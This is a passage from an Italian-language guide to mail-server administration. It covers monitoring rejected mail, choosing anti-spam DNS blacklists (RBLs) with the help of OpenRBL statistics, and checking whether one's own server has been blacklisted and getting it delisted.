- Tenere sotto controllo cosa viene regolarmente rifiutato, farsi un'idea dei flussi di posta, sia per capire quanto possano essere efficaci i filtri implementati sia per cercare di verificare se generano falsi negativi.
- Per valutare quali RBL possono fare al proprio caso, verificare le statistiche che si trovano in rete.
Una piuttosto interessante è quella di OpenRBL, che da un'idea di quali RBL sono più aggressive: http://openrbl.org/stats.htm
3- Le stesse black list che si utilizzano per bloccare l'arrivo di posta indesiderata si possono rivelare un'arma a doppio taglio nel momento in cui un PROPRIO server di posta si ritrova su di esse.
Questo può capitare per vari motivi ma di fatto è un problema perchè impedisce al server di offrire un servizio completo ai suoi client, avendo altri server in rete, che utilizzano le black list in cui si è incappati, che rifiutano di accettare la posta, anche legittima, dei propri utenti.
Generalmente tutte le black list permettono di rimuovere un indirizzo, dopo che è dimostrato che non ha più relay aperti e non può essere utilizzato di nuovo per inviare spam. Il problema è che le black list sono molte e che non sempre sono rapide nell'aggiornare i propri database.
Si consiglia di verificare regolarmente gli indirizzi dei propri server di posta su siti che permettono ricerche multiple su diverse liste. Fra questi segnaliamo OpenRBL e DRBcheck